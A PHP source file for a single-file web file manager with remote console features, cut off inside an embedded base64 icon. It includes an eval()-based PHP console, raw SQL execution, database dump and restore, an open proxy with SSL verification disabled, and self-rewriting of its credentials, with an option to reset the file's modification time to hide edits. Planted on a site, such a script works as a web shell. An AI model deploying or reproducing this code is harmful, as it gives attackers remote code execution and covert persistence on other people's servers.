function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAux